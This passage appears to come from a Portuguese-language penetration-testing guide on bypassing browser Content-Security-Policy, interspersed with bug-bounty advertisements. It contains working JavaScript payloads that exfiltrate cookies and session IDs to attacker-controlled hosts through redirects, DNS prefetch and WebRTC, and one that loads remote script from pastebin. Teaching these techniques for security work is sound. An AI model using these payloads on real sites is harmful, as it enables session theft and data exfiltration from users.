Se você conseguir fazer com que o servidor responda com o cabeçalho Content-Security-Policy-Report-Only com um valor controlado por você (talvez por causa de um CRLF), você pode fazer com que ele aponte para o seu servidor e, se você envolver o conteúdo JS que deseja exfiltrar com <script>, e como é altamente provável que unsafe-inline não seja permitido pelo CSP, isso irá disparar um erro CSP e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de Content-Security-Policy-Report-Only.

Para um exemplo, verifique este writeup do CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Vazamento de Informações CSP + Iframe

Imagine uma situação em que uma página está redirecionando para uma página diferente com um segredo dependendo do usuário. Por exemplo, o usuário admin acessando redirectme.domain1.com é redirecionado para adminsecret321.domain2.com e você pode causar um XSS no admin.
Além disso, as páginas redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.

Você pode vazar o domínio para onde o admin é redirecionado através de:

  • violação de CSP
  • regras de CSP.

A violação de CSP é um vazamento instantâneo. Tudo o que precisa ser feito é carregar um iframe apontando para https://redirectme.domain1.com e ouvir o evento securitypolicyviolation que contém a propriedade blockedURI contendo o domínio do URI bloqueado. Isso ocorre porque o https://redirectme.domain1.com (permitido pelo CSP) redireciona para https://adminsecret321.domain2.com (bloqueado pelo CSP). Isso faz uso de um comportamento indefinido de como lidar com iframes com CSP. Chrome e Firefox se comportam de maneira diferente em relação a isso.

Quando você conhece os caracteres que podem compor o subdomínio secreto, também pode usar uma busca binária e verificar quando o CSP bloqueou o recurso e quando não, criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev)

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Truque da qui.

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa depois que o bug for verificado.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda dos hackers web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

Tecnologias inseguras para burlar CSP

Sobrecarga do buffer de resposta do PHP

O PHP é conhecido por armazenar em buffer a resposta em 4096 bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo dados suficientes dentro dos avisos, a resposta será enviada antes do cabeçalho CSP, fazendo com que o cabeçalho seja ignorado.
Então, a técnica consiste basicamente em preencher o buffer de resposta com avisos para que o cabeçalho CSP não seja enviado.

Idea de este writeup.

Reescrever a página de erro

De este writeup parece que foi possível burlar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar de outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o endpoint vulnerável pode usar o objeto opener no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, consulte:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Além disso, o wordpress possui um endpoint JSONP em /wp-json/wp/v2/users/1?_jsonp=data que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).

Um atacante pode abusar desse endpoint para gerar um ataque SOME contra o WordPress e incorporá-lo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> observe que esse script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque SOME por meio do endpoint de retorno de chamada vulnerável que burla o CSP para conceder mais privilégios a um usuário, instalar um novo plugin...
Para mais informações sobre como realizar esse ataque, consulte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de Exfiltração CSP

Se houver um CSP estrito que não permita que você interaja com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.

Location

Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não irá vazar conteúdo)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para carregar páginas mais rapidamente, os navegadores pré-resolvem os nomes de host em endereços IP e os armazenam em cache para uso posterior.
Você pode indicar a um navegador para pré-resolver um nome de host usando: <link reol="dns-prefetch" href="something.com">

Você pode abusar desse comportamento para extrair informações sensíveis por meio de solicitações DNS:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Outra maneira:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Aparentemente, essa técnica não funciona em navegadores sem interface (bots) {% endhint %}

WebRTC

Em várias páginas, você pode ler que o WebRTC não verifica a política connect-src do CSP.

Na verdade, você pode vazar informações usando uma solicitação DNS. Confira este código:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Outra opção:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Verificando Políticas de CSP Online

Criando CSP Automaticamente

https://csper.io/docs/generating-content-security-policy

Referências

​

HackenProof é o lar de todas as recompensas por bugs de criptografia.

Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

Torne-se a lenda dos hackers web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

Cadastre-se no HackenProof e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥